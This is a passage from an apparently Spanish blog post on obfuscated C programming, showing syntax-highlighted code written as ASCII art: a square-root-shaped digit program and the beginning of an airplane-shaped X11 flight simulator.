  <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>F<span style="color: #339933;">;</span>X<span style="color: #339933;">=-</span>  <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>F<span style="color: #339933;">;</span>X<span style="color: #339933;">=-</span>
  <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>F<span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #808080; font-style: italic;">/*/  -1;F;}/*/</span></pre></div></div>
<p>En otro orden, encontramos programadores que, además de ofuscar su software, <strong>realizan auténticas obras de </strong><a href="http://es.wikipedia.org/wiki/Arte_ASCII"><strong>arte ASCII</strong></a><strong> con el código</strong>. Es el caso de los dos ejemplos siguientes (un signo de raíz cuadrada y un avión).</p>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax11"></a><a style="wp-synhighlighter-title" href="#codesyntax11"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código C</a></div><div class="wp-synhighlighter-inner"><div class="c" style="font-family:monospace;"><span style="color: #339933;">#include &lt;stdio.h&gt;</span><br />
<span style="color: #993333;">int</span> l<span style="color: #339933;">;</span>int main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> o<span style="color: #339933;">,</span><span style="color: #993333;">char</span> <span style="color: #339933;">**</span>O<span style="color: #339933;">,</span><br />
<span style="color: #993333;">int</span> I<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><span style="color: #993333;">char</span> c<span style="color: #339933;">,*</span>D<span style="color: #339933;">=</span>O<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>if<span style="color: #009900;">&#40;</span>o<span style="color: #339933;">&gt;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>l<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>D<span style="color: #009900;">&#91;</span>l              <span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>D<span style="color: #009900;">&#91;</span>l<br />
<span style="color: #339933;">++</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-=</span><span style="color: #0000dd;">10</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>D   <span style="color: #009900;">&#91;</span>l<span style="color: #339933;">++</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">-=</span><span style="color: #0000dd;">120</span><span style="color: #339933;">;</span>D<span style="color: #009900;">&#91;</span>l<span style="color: #009900;">&#93;</span><span style="color: #339933;">-=</span><br />
<span style="color: #0000dd;">110</span><span style="color: #339933;">;</span>while   <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>main<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>O<span style="color: #339933;">,</span>l<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>D<span style="color: #009900;">&#91;</span>l<span style="color: #009900;">&#93;</span><br />
<span style="color: #339933;">+=</span>   <span style="color: #0000dd;">20</span><span style="color: #339933;">;</span>   putchar<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>D<span style="color: #009900;">&#91;</span>l<span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">1032</span><span style="color: #009900;">&#41;</span><br />
<span style="color: #339933;">/</span><span style="color: #0000dd;">20</span>   <span style="color: #009900;">&#41;</span>   <span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>putchar<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">10</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
c<span style="color: #339933;">=</span>o<span style="color: #339933;">+</span>     <span style="color: #009900;">&#40;</span>D<span style="color: #009900;">&#91;</span>I<span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">82</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span><span style="color:#800080;">10</span><span style="color: #339933;">-</span><span style="color: #009900;">&#40;</span>I<span style="color: #339933;">&gt;</span>l<span style="color: #339933;">/</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><br />
<span style="color: #009900;">&#40;</span>D<span style="color: #009900;">&#91;</span>I<span style="color: #339933;">-</span>l<span style="color: #339933;">+</span>I<span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">72</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #0000dd;">10</span><span style="color: #339933;">-</span><span style="color: #0000dd;">9</span><span style="color: #339933;">;</span>D<span style="color: #009900;">&#91;</span>I<span style="color: #009900;">&#93;</span><span style="color: #339933;">+=</span>I<span style="color: #339933;">&lt;</span><span style="color: #0000dd;">0</span><span style="color: #339933;">?</span><span style="color: #0000dd;">0</span><br />
<span style="color: #339933;">:!</span><span style="color: #009900;">&#40;</span>o<span style="color: #339933;">=</span>main<span style="color: #009900;">&#40;</span>c<span style="color: #339933;">/</span><span style="color: #0000dd;">10</span><span style="color: #339933;">,</span>O<span style="color: #339933;">,</span>I<span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>c<span style="color: #339933;">+</span><span style="color: #0000dd;">999</span><br />
<span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span><span style="color:#800080;">10</span><span style="color: #339933;">-</span><span style="color: #009900;">&#40;</span>D<span style="color: #009900;">&#91;</span>I<span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">92</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span><span style="color:#800080;">10</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #b1b100;">return</span> o<span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span></div></div></div>
<div><div class="wp-synhighlighter-expanded"><a name="#codesyntax12"></a><a style="wp-synhighlighter-title" href="#codesyntax12"  onClick="javascript:wpContainer=this.parentNode.parentNode.getElementsByTagName('div')[1];	if(wpContainer.style.display=='none') {wpContainer.style.display=''; this.parentNode.className='wp-synhighlighter-expanded'} 	else {wpContainer.style.display='none'; this.parentNode.className='wp-synhighlighter-collapsed'}">Código C</a></div><div class="wp-synhighlighter-inner"><pre class="c" style="font-family:monospace;"><span style="color: #339933;">#include                                     &lt;math.h&gt;</span>
<span style="color: #339933;">#include                                   &lt;sys/time.h&gt;</span>
<span style="color: #339933;">#include                                   &lt;X11/Xlib.h&gt;</span>
<span style="color: #339933;">#include                                  &lt;X11/keysym.h&gt;</span>
                                          <span style="color: #993333;">double</span> L <span style="color: #339933;">,</span>o <span style="color: #339933;">,</span>P
                                         <span style="color: #339933;">,</span>_<span style="color: #339933;">=</span>dt<span style="color: #339933;">,</span>T<span style="color: #339933;">,</span>Z<span style="color: #339933;">,</span>D<span style="color: #339933;">=</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span>d<span style="color: #339933;">,</span>
                                         s<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">999</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>E<span style="color: #339933;">,</span>h<span style="color: #339933;">=</span> <span style="color: #0000dd;">8</span><span style="color: #339933;">,</span>I<span style="color: #339933;">,</span>
                                         J<span style="color: #339933;">,</span>K<span style="color: #339933;">,</span>w<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">999</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>M<span style="color: #339933;">,</span>m<span style="color: #339933;">,</span>O
                                        <span style="color: #339933;">,</span>n<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">999</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>j<span style="color: #339933;">=</span><span style="color:#800080;">33e-3</span><span style="color: #339933;">,</span>i<span style="color: #339933;">=</span>
                                        <span style="color:#800080;">1E3</span><span style="color: #339933;">,</span>r<span style="color: #339933;">,</span>t<span style="color: #339933;">,</span> u<span style="color: #339933;">,</span>v <span style="color: #339933;">,</span>W<span style="color: #339933;">,</span>S<span style="color: #339933;">=</span>
                                        <span style="color:#800080;">74.5</span><span style="color: #339933;">,</span>l<span style="color: #339933;">=</span><span style="color: #0000dd;">221</span><span style="color: #339933;">,</span>X<span style="color: #339933;">=</span><span style="color:#800080;">7.26</span><span style="color: #339933;">,</span>
                                        a<span style="color: #339933;">,</span>B<span style="color: #339933;">,</span>A<span style="color: #339933;">=</span><span style="color:#800080;">32.2</span><span style="color: #339933;">,</span>c<span style="color: #339933;">,</span> F<span style="color: #339933;">,</span>H<span style="color: #339933;">;</span>
                                        <span style="color: #993333;">int</span> N<span style="color: #339933;">,</span>q<span style="color: #339933;">,</span> C<span style="color: #339933;">,</span> y<span style="color: #339933;">,</span>p<span style="color: #339933;">,</span>U<span style="color: #339933;">;</span>
                                       Window z<span style="color: #339933;">;</span> <span style="color: #993333;">char</span> f<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">52</span><span style="color: #009900;">&#93;</span>
                                    <span style="color: #339933;">;</span> GC k<span style="color: #339933;">;</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> Display<span style="color: #339933;">*</span>e<span style="color: #339933;">=</span>
 XOpenDisplay<span style="color: #009900;">&#40;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> z<span style="color: #339933;">=</span>RootWindow<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>XSetForeground<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">,</span>k<span style="color: #339933;">=</span>XCreateGC <span style="color: #009900;">&#40;</span>e<span style="color: #339933;">,</span>z<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>BlackPixel<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #339933;">;</span> scanf<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;%lf%lf%lf&quot;</span><span style="color: #339933;">,</span>y <span style="color: #339933;">+</span>n<span style="color: #339933;">,</span>w<span style="color: #339933;">+</span>y<span style="color: #339933;">,</span> y<span style="color: #339933;">+</span>s<span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span> y <span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> XSelectInput<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">,</span>z<span style="color: #339933;">=</span> XCreateSimpleWindow<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">,</span>z<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">400</span><span style="color: #339933;">,</span><span style="color: #0000dd;">400</span><span style="color: #339933;">,</span>
<span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>WhitePixel<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>KeyPressMask<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span>XMapWindow<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">,</span>z<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #339933;">;</span> T<span style="color: #339933;">=</span>sin<span style="color: #009900;">&#40;</span>O<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> <span style="color: #993333;">struct</span> timeval G<span style="color: #339933;">=</span><span style="color: #009900;">&#123;</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span>dt<span style="color: #339933;">*</span><span style="color:#800080;">1e6</span><span style="color: #009900;">&#125;</span>
<span style="color: #339933;">;</span> K<span style="color: #339933;">=</span> cos<span style="color: #009900;">&#40;</span>j<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> N<span style="color: #339933;">=</span><span style="color:#800080;">1e4</span><span style="color: #339933;">;</span> M<span style="color: #339933;">+=</span> H<span style="color: #339933;">*</span>_<span style="color: #339933;">;</span> Z<span style="color: #339933;">=</span>D<span style="color: #339933;">*</span>K<span style="color: #339933;">;</span> F<span style="color: #339933;">+=</span>_<span style="color: #339933;">*</span>P<span style="color: #339933;">;</span> r<span style="color: #339933;">=</span>E<span style="color: #339933;">*</span>K<span style="color: #339933;">;</span> W<span style="color: #339933;">=</span>cos<span style="color: #009900;">&#40;</span> O<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> m<span style="color: #339933;">=</span>K<span style="color: #339933;">*</span>W<span style="color: #339933;">;</span> H<span style="color: #339933;">=</span>K<span style="color: #339933;">*</span>T<span style="color: #339933;">;</span> O<span style="color: #339933;">+=</span>D<span style="color: #339933;">*</span>_<span style="color: #339933;">*</span>F<span style="color: #339933;">/</span> K<span style="color: #339933;">+</span>d<span style="color: #339933;">/</span>K<span style="color: #339933;">*</span>E<span style="color: #339933;">*</span>_<span style="color: #339933;">;</span> B<span style="color: #339933;">=</span>
sin<span style="color: #009900;">&#40;</span>j<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> a<span style="color: #339933;">=</span>B<span style="color: #339933;">*</span>T<span style="color: #339933;">*</span>D<span style="color: #339933;">-</span>E<span style="color: #339933;">*</span>W<span style="color: #339933;">;</span> XClearWindow<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">,</span>z<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> t<span style="color: #339933;">=</span>T<span style="color: #339933;">*</span>E<span style="color: #339933;">+</span> D<span style="color: #339933;">*</span>B<span style="color: #339933;">*</span>W<span style="color: #339933;">;</span> j<span style="color: #339933;">+=</span>d<span style="color: #339933;">*</span>_<span style="color: #339933;">*</span>D<span style="color: #339933;">-</span>_<span style="color: #339933;">*</span>F<span style="color: #339933;">*</span>E<span style="color: #339933;">;</span> P<span style="color: #339933;">=</span>W<span style="color: #339933;">*</span>E<span style="color: #339933;">*</span>B<span style="color: #339933;">-</span>T<span style="color: #339933;">*</span>D<span style="color: #339933;">;</span> <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>o<span style="color: #339933;">+=</span><span style="color: #009900;">&#40;</span>I<span style="color: #339933;">=</span>D<span style="color: #339933;">*</span>W<span style="color: #339933;">+</span>E
<span style="color: #339933;">*</span>T<span style="color: #339933;">*</span>B<span style="color: #339933;">,</span>E<span style="color: #339933;">*</span>d<span style="color: #339933;">/</span>K <span style="color: #339933;">*</span>B<span style="color: #339933;">+</span>v<span style="color: #339933;">+</span>B<span style="color: #339933;">/</span>K<span style="color: #339933;">*</span>F<span style="color: #339933;">*</span>D<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>_<span style="color: #339933;">;</span> p<span style="color: #339933;">&lt;</span>y<span style="color: #339933;">;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span> T<span style="color: #339933;">=</span>p<span style="color: #009900;">&#91;</span>s<span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span>i<span style="color: #339933;">;</span> E<span style="color: #339933;">=</span>c<span style="color: #339933;">-</span>p<span style="color: #009900;">&#91;</span>w<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> D<span style="color: #339933;">=</span>n<span style="color: #009900;">&#91;</span>p<span style="color: #009900;">&#93;</span><span style="color: #339933;">-</span>L<span style="color: #339933;">;</span> K<span style="color: #339933;">=</span>D<span style="color: #339933;">*</span>m<span style="color: #339933;">-</span>B<span style="color: #339933;">*</span>T<span style="color: #339933;">-</span>H<span style="color: #339933;">*</span>E<span style="color: #339933;">;</span> <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span>p <span style="color: #009900;">&#91;</span>n<span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span>w<span style="color: #009900;">&#91;</span> p<span style="color: #009900;">&#93;</span><span style="color: #339933;">+</span>p<span style="color: #009900;">&#91;</span>s
<span style="color: #009900;">&#93;</span><span style="color: #339933;">==</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">|</span>K <span style="color: #339933;">&lt;</span>fabs<span style="color: #009900;">&#40;</span>W<span style="color: #339933;">=</span>T<span style="color: #339933;">*</span>r<span style="color: #339933;">-</span>I<span style="color: #339933;">*</span>E <span style="color: #339933;">+</span>D<span style="color: #339933;">*</span>P<span style="color: #009900;">&#41;</span> <span style="color: #339933;">|</span>fabs<span style="color: #009900;">&#40;</span>D<span style="color: #339933;">=</span>t <span style="color: #339933;">*</span>D<span style="color: #339933;">+</span>Z <span style="color: #339933;">*</span>T<span style="color: #339933;">-</span>a <span style="color: #339933;">*</span>E<span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span> K<span style="color: #009900;">&#41;</span>N<span style="color: #339933;">=</span><span style="color:#800080;">1e4</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span> q<span style="color: #339933;">=</span>W<span style="color: #339933;">/</span>K <span style="color: #339933;">*</span><span style="color:#800080;">4E2</span><span style="color: #339933;">+</span><span style="color:#800080;">2e2</span><span style="color: #339933;">;</span> C<span style="color: #339933;">=</span> <span style="color:#800080;">2E2</span><span style="color: #339933;">+</span><span style="color:#800080;">4e2</span><span style="color: #339933;">/</span> K
 <span style="color: #339933;">*</span>D<span style="color: #339933;">;</span> N<span style="color: #339933;">-</span><span style="color:#800080;">1E4</span><span style="color: #339933;">&amp;&amp;</span> XDrawLine<span style="color: #009900;">&#40;</span>e <span style="color: #339933;">,</span>z<span style="color: #339933;">,</span>k<span style="color: #339933;">,</span>N <span style="color: #339933;">,</span>U<span style="color: #339933;">,</span>q<span style="color: #339933;">,</span>C<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> N<span style="color: #339933;">=</span>q<span style="color: #339933;">;</span> U<span style="color: #339933;">=</span>C<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> <span style="color: #339933;">++</span>p<span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> L<span style="color: #339933;">+=</span>_<span style="color: #339933;">*</span> <span style="color: #009900;">&#40;</span>X<span style="color: #339933;">*</span>t <span style="color: #339933;">+</span>P<span style="color: #339933;">*</span>M<span style="color: #339933;">+</span>m<span style="color: #339933;">*</span>l<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> T<span style="color: #339933;">=</span>X<span style="color: #339933;">*</span>X<span style="color: #339933;">+</span> l<span style="color: #339933;">*</span>l<span style="color: #339933;">+</span>M <span style="color: #339933;">*</span>M<span style="color: #339933;">;</span>
  XDrawString<span style="color: #009900;">&#40;</span>e<span style="color: #339933;">,</span>z<span style="color: #339933;">,</span>k <span style="color: #339933;">,</span><span style="color: #0000dd;">20</span><span style="color: #339933;">,</span><span style="color: #0000dd;">380</span><span style="color: #339933;">,</span>f<span style="color: #339933;">,</span><span style="color: #0000dd;">17</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> D<span style="color: #339933;">=</span>v<span style="color: #339933;">/</span>l<span style="color: #339933;">*</span><span style="color: #0000dd;">15</span><span style="color: #339933;">;</span> i<span style="color: #339933;">+=</span><span style="color: #009900;">&#40;</span>B <span style="color: #339933;">*</span>l<span style="color: #339933;">-</span>M<span style="color: #339933;">*</span>r <span style="color: #339933;">-</span>X<span style="color: #339933;">*</span>Z<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>_<span style="color: #339933;">;</span> <span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">;</span> XPending<span style="color: #009900;">&#40;</span>e<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> u <span style="color: #339933;">*=</span>CS<span style="color: #339933;">!=</span>N<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
                                   XEvent z<span style="color: #339933;">;</span> XNextEvent<span style="color: #009900;">&#40;</span>e <span style="color: #339933;">,&amp;</span>z<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                       <span style="color: #339933;">++*</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>N<span style="color: #339933;">=</span>XLookupKeysym
                                         <span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>z.<span style="color: #202020;">xkey</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span>IT<span style="color: #339933;">?</span>
                                         N<span style="color: #339933;">-</span>LT<span style="color: #339933;">?</span> UP<span style="color: #339933;">-</span>N<span style="color: #339933;">?&amp;</span> E<span style="color: #339933;">:&amp;</span>
                                         J<span style="color: #339933;">:&amp;</span> u<span style="color: #339933;">:</span> <span style="color: #339933;">&amp;</span>h<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #339933;">--*</span><span style="color: #009900;">&#40;</span>
                                         DN <span style="color: #339933;">-</span>N<span style="color: #339933;">?</span> N<span style="color: #339933;">-</span>DT <span style="color: #339933;">?</span>N<span style="color: #339933;">==</span>
                                         RT<span style="color: #339933;">?&amp;</span>u<span style="color: #339933;">:</span> <span style="color: #339933;">&amp;</span> W<span style="color: #339933;">:&amp;</span>h<span style="color: #339933;">:&amp;</span>J
                                          <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span> m<span style="color: #339933;">=</span><span style="color: #0000dd;">15</span><span style="color: #339933;">*</span>F<span style="color: #339933;">/</span>l<span style="color: #339933;">;</span>
                                          c<span style="color: #339933;">+=</span><span style="color: #009900;">&#40;</span>I<span style="color: #339933;">=</span>M<span style="color: #339933;">/</span> l<span style="color: #339933;">,</span>l<span style="color: #339933;">*</span>H
                                          <span style="color: #339933;">+</span>I<span style="color: #339933;">*</span>M<span style="color: #339933;">+</span>a<span style="color: #339933;">*</span>X<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>_<span style="color: #339933;">;</span> H
                                          <span style="color: #339933;">=</span>A<span style="color: #339933;">*</span>r<span style="color: #339933;">+</span>v<span style="color: #339933;">*</span>X<span style="color: #339933;">-</span>F<span style="color: #339933;">*</span>l<span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span>
                                          E<span style="color: #339933;">=</span><span style="color:#800080;">.1</span><span style="color: #339933;">+</span>X<span style="color: #339933;">*</span><span style="color:#800080;">4.9</span><span style="color: #339933;">/</span>l<span style="color: #339933;">,</span>t
                                          <span style="color: #339933;">=</span>T<span style="color: #339933;">*</span>m<span style="color: #339933;">/</span><span style="color: #0000dd;">32</span><span style="color: #339933;">-</span>I<span style="color: #339933;">*</span>T<span style="color: #339933;">/</span><span style="color: #0000dd;">24</span>
                                           <span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span>S<span style="color: #339933;">;</span> K<span style="color: #339933;">=</span>F<span style="color: #339933;">*</span>M<span style="color: #339933;">+</span><span style="color: #009900;">&#40;</span>
                                           h<span style="color: #339933;">*</span> <span style="color:#800080;">1e4</span><span style="color: #339933;">/</span>l<span style="color: #339933;">-</span><span style="color: #009900;">&#40;</span>T<span style="color: #339933;">+</span>
                                           E<span style="color: #339933;">*</span><span style="color: #0000dd;">5</span><span style="color: #339933;">*</span>T<span style="color: #339933;">*</span>E<span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color:#800080;">3e2</span>
                                           <span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span>S<span style="color: #339933;">-</span>X<span style="color: #339933;">*</span>d<span style="color: #339933;">-</span>B<span style="color: #339933;">*</span>A<span style="color: #339933;">;</span>
                                           a<span style="color: #339933;">=</span><span style="color:#800080;">2.63</span> <span style="color: #339933;">/</span>l<span style="color: #339933;">*</span>d<span style="color: #339933;">;</span>
                                           X<span style="color: #339933;">+=</span><span style="color: #009900;">&#40;</span> d<span style="color: #339933;">*</span>l<span style="color: #339933;">-</span>T<span style="color: #339933;">/</span>S
                                            <span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color:#800080;">.19</span><span style="color: #339933;">*</span>E <span style="color: #339933;">+</span>a
                                            <span style="color: #339933;">*</span><span style="color:#800080;">.64</span><span style="color: #339933;">+</span>J<span style="color: #339933;">/</span><span style="color:#800080;">1e3</span>
                                            <span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span>M<span style="color: #339933;">*</span> v <span style="color: #339933;">+</span>A<span style="color: #339933;">*</span>
                                            Z<span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>_<span style="color: #339933;">;</span> l <span style="color: #339933;">+=</span>
                                            K <span style="color: #339933;">*</span>_<span style="color: #339933;">;</span> W<span style="color: #339933;">=</span>d<span style="color: #339933;">;</span>
                                            sprintf<span style="color: #009900;">&#40;</span>f<span style="color: #339933;">,</span>
                                            <span style="color: #ff0000;">&quot;%5d  %3d&quot;</span>
                                            <span style="color: #ff0000;">&quot;%7d&quot;</span><span style="color: #339933;">,</span>p <span style="color: #339933;">=</span>l
                                           <span style="color: #339933;">/</span><span style="color:#800080;">1.7</span><span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span>C<span style="color: #339933;">=</span><span style="color:#800080;">9E3</span><span style="color: #339933;">+</span>
                              O<span style="color: #339933;">*</span><span style="color:#800080;">57.3</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">%</span><span style="color: #208080;">0550</span><span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span><span style="color: #009900;">&#41;</span>i<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> d<span style="color: #339933;">+=</span>T<span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color:#800080;">.45</span><span style="color: #339933;">-</span><span style="color: #0000dd;">14</span><span style="color: #339933;">/</span>l<span style="color: #339933;">*</span>
                             X<span style="color: #339933;">-</span>a<span style="color: #339933;">*</span><span style="color: #0000dd;">130</span><span style="color: #339933;">-</span>J<span style="color: #339933;">*</span> <span style="color:#800080;">.14</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span>_<span style="color: #339933;">/</span><span style="color:#800080;">125e2</span><span style="color: #339933;">+</span>F<span style="color: #339933;">*</span>_<span style="color: #339933;">*</span>v<span style="color: #339933;">;</span> P<span style="color: #339933;">=</span><span style="color: #009900;">&#40;</span>T<span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color: #0000dd;">47</span>
                             <span style="color: #339933;">*</span>I<span style="color: #339933;">-</span>m<span style="color: #339933;">*</span> <span style="color: #0000dd;">52</span><span style="color: #339933;">+</span>E<span style="color: #339933;">*</span><span style="color: #0000dd;">94</span> <span style="color: #339933;">*</span>D<span style="color: #339933;">-</span>t<span style="color: #339933;">*</span><span style="color:#800080;">.38</span><span style="color: #339933;">+</span>u<span style="color: #339933;">*</span><span style="color:#800080;">.21</span><span style="color: #339933;">*</span>E<span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span><span style="color:#800080;">1e2</span><span style="color: #339933;">+</span>W<span style="color: #339933;">*</span>
                             <span style="color: #0000dd;">179</span><span style="color: #339933;">*</span>v<span style="color: #009900;">&#41;</span><span style="color: #339933;">/</span><span style="color: #0000dd;">2312</span><span style="color: #339933;">;</span> select<span style="color: #009900;">&#40;</span>p<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,</span><span style="color: #0000dd;">0</span><span style="color: #339933;">,&amp;</span>G<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> v<span style="color: #339933;">-=</span><span style="color: #009900;">&#40;</span>
                              W<span style="color: #339933;">*</span>F<span style="color: #339933;">-</span>T<span style="color: #339933;">*</span><span style="color: #009900;">&#40;</span><span style="color:#800080;">.63</span><span style="color: #339933;">*</span>m<span style="color: #339933;">-</span>I<span style="color: #339933;">*</span><span style="color:#800080;">.086</span><span style="color: #339933;">+</span>m<span style="color: #339933;">*</span>E<span style="color: #339933;">*</span><span style="color: #0000dd;">19</span><span style="color: #339933;">-</span>D<span style="color: #339933;">*</span><span style="color: #0000dd;">25</span><span style="color: #339933;">-</span><span style="color:#800080;">.11</span><span style="color: #339933;">*</span>u
